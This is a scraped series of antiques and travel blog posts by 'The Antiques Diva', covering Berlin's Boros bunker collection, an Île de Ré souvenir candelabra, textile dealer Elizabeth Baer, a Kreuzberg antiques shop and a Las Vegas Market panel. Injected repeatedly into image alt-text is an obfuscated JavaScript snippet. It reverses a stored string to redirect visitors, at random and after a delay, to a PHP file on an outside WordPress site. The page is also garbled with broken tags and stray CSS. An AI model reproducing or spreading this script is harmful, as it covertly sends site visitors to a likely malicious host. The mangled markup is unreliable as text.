Groups of work by international artists reside in the bunker, and have been open to the public since 2008. However, if you wish to visit the bunker, you’ll want to make a reservation well in advance. Due to safety regulations, the bunker can only be visited in groups of 12 or less and all tours are led by an in-house guide. The tours are offered Thursday to Sunday and begin on the hour (in German) and on the half hour (in English). If you’re coming to Berlin – and want to get off the tourist path – yet see something truly historical and spectacular I strong encourage a vista.

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”602″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”448″ />

Whether your interest is in modern art or World War II history, the bunker is certainly a fascinating place to tour, offering a glimpse into historical and modern Berlin. This city never ceases to amaze me with its many juxtapositions and the Boros Collection is certainly no exception!

The Antiques Diva®   

Antiques & Salted Caramels

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Before I was The Antiques Diva… I was just plain ole me. Toma.  Sometimes I miss those days when I was footloose and fancy free… when I didn’t work, when I traveled Europe with my friends, drank champagne every afternoon…. Life was a a constant pleasure ride. Oh wait….  That’s my life now! Okay…today I’m not exactly “footloose and fancy free” as now I tend to manage my agenda like a drill sergeant, speaking in one country one day, leading a tour in another country another day, and researching yet another country for an article on another day…. but the fact is I am incredibly fortunate – I’ve built a company and get paid to live a life I love living.  Nevertheless, I have such fond memories of my first 5 years living in Europe when legally the French government had denied me my work visa and I was an expat wife hanging out with my girlfriends. One of those girlfriends was my dear friend Catherine, who has also since come out of expat-wife retirement and runs a brilliant social media consultancy firm called Hire Catherine.

Today’s blog is actually a Guest Blog From Catherine who has written with fondness about those days of yore….

So Ta Ta from me… And Hello From Catherine of Hire Catherine!

freelance-content-writer, Hire Catherine, Catherine Russell

I recently moved (yes, again: I actually moved 5 times in the last year, don’t ask!) and the movers delivered box after box after box, including some boxes that I had not seen or opened since moving from Europe 10 years ago. So I was more than excited to unpack one long-forgotten box and discover:

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Souvenirs…  Souvenir (French): memory (English)

In 2004 four Paris friends organized their 1st of many-to-come girls trips. I’d been wanting to visit Île de Ré for several years, and as we were leaving Paris for Copenhagen in a few months, it felt like now or never. Toma was moving to Amsterdam, Tam returning to the US, and Stacey had just returned to Paris from a year in Tokyo. Things were changing, so we decided: Girls Trip!

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Île de Ré is an island off the western coast of France, easily reached from Paris by TGV. I’d been reading about Île de Ré for years, and I’d made a list of must-dos:

  • Visit the salt fields
  • Salted caramel ice cream
  • The antique shop Barbotine
  • Fresh from the ocean oysters and seafood
  • Biking around the island

We scheduled our dates, and off we went for a 4-day visit to the village of Saint-Martin, Île de Ré in the beautiful month of May, before the island is overrun with tourists.

Bien sur: we checked off every item on my checklist, (and couldn’t get enough of the salted caramel ice cream!) and without a doubt my favorite souvenir of our girl’s trip to Île de Ré was our visit to Barbotine.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Roaming the aisles, I finally spotted the perfect souvenir of our Île de Ré trip: an antique pale gray candelabra, dangling with crystals and sparkling with charm. I no longer remember the price, but whatever I paid it was worth it. What I do remember was I was not happy with the cost to ship my new antique candelabra to Paris: so after making the snap decision to buy it, I decided to carry my new fixture home with me on the train. With 3 friends to help, the candelabra made it safely to my apartment on rue de Prony, where I inserted candles and hung it from our living room ceiling.

4 months later, the movers took down the candelabra, packed it up, and we moved to Copenhagen.

Fast-forward 10 years and I was unpacking boxes in Delray Beach, Florida from New York, Chicago, Boynton Beach and many storage units. And there was my beautiful souvenir candelabra, which I’d completely forgotten about over the years. My new 12 foot ceilings were perfect to showcase the candelabra, but I decided to have the fixture rewired, so took it to a local lighting repair store, Quality Lighting in Delray Beach. I left instructions to rewire the chandelier, so I didn’t have to worry about frayed or fragile electrical wires.

3 days later Quality called: the fixture was not wired for electricity! Somewhere between purchasing my antique candelabra and 10 years later hanging it again, I’d forgotten the fixture was never wired. That explained why I used candles 10 years earlier! I gave the go-ahead to wire the candelabra, and $400 later (gulp!) I have a beautiful chandelier in my living room.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Several weeks after hanging my chandelier, I was continuing to unpack boxes and discovered another souvenir of Île de Ré and friendship, which I’d forgotten Toma had given me many years ago.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

The Best Antiques are Old Friends

For readers ready to head to the Île de Ré , remember it’s just a hop skip and a jump from Bordeaux – which makes it perfect for adding on to an Antiques Diva Bordeaux Tour.

Bon Voyage!
The Antiques Diva – with a little help from a friend.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines
(Seen here in a more recent pic taken at Villa Vizcaya on yet anthers girls trip!  We’re still taking them…. just now we tend to squeeze them in around work commitments, etc.)

A Day With Elizabeth Baer

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>We recently took The HighBoy on a whirlwind VIP tour of England—and when I say whirlwind, I mean it! We were constantly jetting from one antiques fair to another, working our way from London to Wiltshire and back, stopping off at secret sources and private houses in between. Our UK Diva Agent, Gail McLeod, set the agenda and added in a very special stop near Bath. She arranged for us to spend an afternoon with renowned antique textiles dealer Elizabeth Baer at her lovely home.

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”444″ />

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”445″ />

Gail has been involved in the Bath Decorative Fair for years and that is where she first met Mrs. Baer in 1989 where she was a vendor. As a star attraction at this and other fairs, Mrs. Baer would sell textiles like hot cakes, often to top U.S. dealers who would wait in line to see her. She’s sold to just about every Hollywood name and supplied textiles and costumes for countless films – I was completely smitten by the fact that Anna Wintour has been a long-term client. Now in her late 80’s, Mrs. Baer is still active in the trade and sells inventory by appointment only in her gorgeous house, which is a “miniature” Georgian manor house in the heart of Bradford on Avon.

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”446″ />

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”798″ />

As you would expect, this quintessential English lady has a beautiful garden which welcomed us when we arrived. Seeing the large, heavy front door open, we knocked and made ourselves known, and seconds later the lovely Elizabeth appeared from around the corner. She greeted us warmly and asked us to come inside the spacious foyer, where a few bolts of fabric lay on the entry table, hinting at what was in store for us.

A tour through her home revealed generously proportioned rooms, one connecting to the next, filled with antique furniture, textiles, and special bits and bobs, all telling the story of a life well lived. When in the living room, she noted the relating color palates of a painted antique blanket chest and two pair of curtain panels. “Rather than try to invent new color combinations, look for old color recipes that work. They’ve been around a long time for a reason,” Elizabeth advised. As we made out way to the sitting room, decorated in mostly pink hues, she informed us that every piece of furniture was upholstered in old curtain fabric. While stroking a velvet cushion, she shared another wise piece of advice. “The key is to enjoy what you’ve got and not be envious of what anyone else has got.”

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”448″ />

Climbing the stairs, we got a peek into the private life of this stylish lady as she invited us to see her bedroom and extremely chic bath/dressing room. The use of antique textiles was perfection—the bed canopy, the yards and yards of drapery panels, the upholstered furniture just begging to be lounged on—all gorgeous. We even got to see her small work room where she makes everything from totes and cushions to padded hangers and basket liners—always with bits of remnant fabric and trim.

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”799″ />

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”804″ />

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”805″ />

To end the afternoon, we went to the lower level of the house where she keeps her stock for sale. After being served coffee on a tray—she is, after all, a gracious hostess—we perused shelves of fabric, trims, and remnants. We settled on a few table cloths and tea towels, finding that one was not enough according to Elizabeth, “You must have one on the table and one in the wash.”

Antique Textiles, Elizabeth Baer, Gail McLeod, The Antiques Diva, The HighBoy, Bath Decorative Fair, Anna Win<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tour, Gracious Living, Textiles, English Decorating Tips” width=”600″ height=”806″ />

If you’re interested in antique textiles, you must check out her blog. She tells stories of her business ventures, offers up worthwhile advice and entertaining anecdotes that are sure to leave you inspired. For more information on our English Antique Buying Tours or Antique Textile Tours in general email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Cheers,

The Antiques Diva® 

Felix Bachmann in Berlin

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While my home is in Berlin, I’m the first to admit that this city isn’t booming with fabulous antique stores. The flea markets are fun to shop, and it’s true that you can unearth some gems at great prices—vintage furs are definitely a favorite among clients shopping in Berlin. But when it comes to true antique showrooms and stores, there just aren’t an over abundance of them in Berlin. However, my Office Manager Barbara recently suggested that we check out an antiques shop in Kreuzberg that she had fallen in love with so I set up a business lunch with Barbara and our Creative Consultant Andrew at a cute little Mediterranean restaurant.  After our meeting, the three of us walked a few blocks, popping into a few small shops. As we meandered through various tiny rooms packed with shelves of bric-a-brac, I wondered if the shop Barbara was taking us to would be any different. Once we reached our destination, Felix Bachmann Antiquitäten, I instantly knew that we were in for a treat! This store was unlike any that I’d seen in Berlin!

Felix Bachmann, Antique shops in Berlin, Buying antiques in Germany, The Antiques Diva,

Felix Bachmann, Antique shops in Berlin, Buying antiques in Germany, The Antiques Diva,

The first room upon entering housed antiques and vintage pieces that reflected a style—not a specific time period, but rather a point of view. Pieces of differing provenance and age mixed together like guests invited to a dinner party. A mid-century chandelier hung over a 19th century table surrounded by industrial chairs, with a modern art piece—which we later learned was the work of Felix Bachmann himself— hung on the wall. I couldn’t wait to wander through the rest of the space and meet the mind behind these well-curated rooms.

Felix Bachmann, Antique shops in Berlin, Buying antiques in Germany, The Antiques Diva,

Passing through to the next room, we were met by a young man coming in from the inner courtyard. Wearing a work apron covered in markings that can only be acquired by actual hard work, he introduced himself as Felix, the owner of the store. I was so interested to learn that he’s been working in the antiques industry for over 10 years (given he had to be under 30 I was so impressed with this Antiques Young Gun!) He specializes in restoring furniture, which he does in his workshop just steps away. By looking at and touching the pieces in his shop, you can tell that he is highly skilled at gentle restoration and takes great pride in retaining the integrity of each piece. We learn that he avoids using machinery as much as he can in the restoration process, opting rather to do things in the traditional way—by hand and with old varnishes, glues, and color formulations.

Felix Bachmann, Antique shops in Berlin, Buying antiques in Germany, The Antiques Diva,

Felix Bachmann, Antique shops in Berlin, Buying antiques in Germany, The Antiques Diva,

As we looked around the shop, I was particularly struck by an aluminum piece of a plane wing. It made a fantastic statement in the shop and I could picture it in a home as art. There was also a pair of leather chairs by Mario Bellini that were gorgeous. The overall look of the store could work in a traditional country house or a loft in the city. That’s what makes this shop so special. Felix’s taste is globally influenced which is partially inspired by internships he’s done in Germany, England, Italy, and New York. I cannot wait to see his effect on the Berlin antique scene. I have a feeling we are going to see great things from him and from Berlin in general with Felix at the head of the pack.

AD WM 587

Bravo Felix!  Delighted to have met you!

The Antiques Diva® 

Join Me at Las Vegas Market

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>In honor of Bastille Day today I’ve got Paris on the mind… While that’s usually Paris, France today it’s the Paris Hotel in Las Vegas!  I’m just booking flights today to go to Las Vegas Market where I’m delighted to announce I’ll be headlining in Vegas along with a great line-up of interior design-oriented events.

Las Vegas Market, Toma Clark Haines, The Antiques Diva, The Secret Life of Antiques, Melissa Mittag, Fromental, Justin Shaulis, Heather Viera, Discoveries, Las Vegas Market Antiques Center

Las Vegas Market, Toma Clark Haines, The Antiques Diva, The Secret Life of Antiques, Melissa Mittag, Fromental, Justin Shaulis, Heather Viera, Discoveries, Las Vegas Market Antiques Center

On Monday, August 3rd you don’t want to miss a dynamic panel discussion that I’ll be taking part in called The Secret Life of Antiques. Have you ever seen beautiful antiques on the covers of shelter magazines and wondered where they came from or how they ended up there? Have you found yourself pining after a stunning antique in a favorite showroom? Our panel is here to uncover the past of these pristine pieces and show you how they’re being reinvented and revitalized for the future. Joining me are fellow panelists Melissa Mittag of Fromental and Justin Shaulis with Heather Viera as moderator. We’ll be divulging secrets of how antiques and vintage items are sourced, how the interior design industry is making them relevant, and how they are ending up in popular design publications.

Las Vegas Market, Toma Clark Haines, The Antiques Diva, The Secret Life of Antiques, Melissa Mittag, Fromental, Justin Shaulis, Heather Viera, Discoveries, Las Vegas Market Antiques Center

Join us from 11:30am-12:30pm in Building C, Surya Seminar Room C174 for what’s sure to be a fun and informative panel.

And because a Diva’s work is never done, at 1:00 pm I’ll be leading an Antiques Diva Curated Tour of Discoveries of The Antique Vintage Marketplace, which is housed in Las Vegas Market’s new temporary venue, The Pavilions. I’ll be showing you my favorite one-of-a-kind finds – from national and international exhibitors – jewelry, home décor, furnishings, clothing, pottery, porcelain and more. Many new exhibitors will be showcasing their wares and the inventory changes daily. Lots of surprises and inspiration are in store for this tour! The good news is that items will be available for immediate purchase and we will have an onsite shipping company ready to send your purchases directly home from Market.

Las Vegas Market, Toma Clark Haines, The Antiques Diva, The Secret Life of Antiques, Melissa Mittag, Fromental, Justin Shaulis, Heather Viera, Discoveries, Las Vegas Market Antiques Center

These are just 2 of the events I’ll be taking part in – stay tuned for details on the Grand Opening Party & Ceremony for Discoveries – Las Vegas Market’s new antique center!!

Las Vegas Market is always an exciting time filled with parties, showroom specials, product debuts, and informational seminars. For more information on the events of this market, click here.  Do let me know if you’ll be attending either of my events. I’d love to see you in Las Vegas!

Las Vegas Market, Toma Clark Haines, The Antiques Diva, The Secret Life of Antiques, Melissa Mittag, Fromental, Justin Shaulis, Heather Viera, Discoveries, Las Vegas Market Antiques Center

Until then,

The Antiques Diva®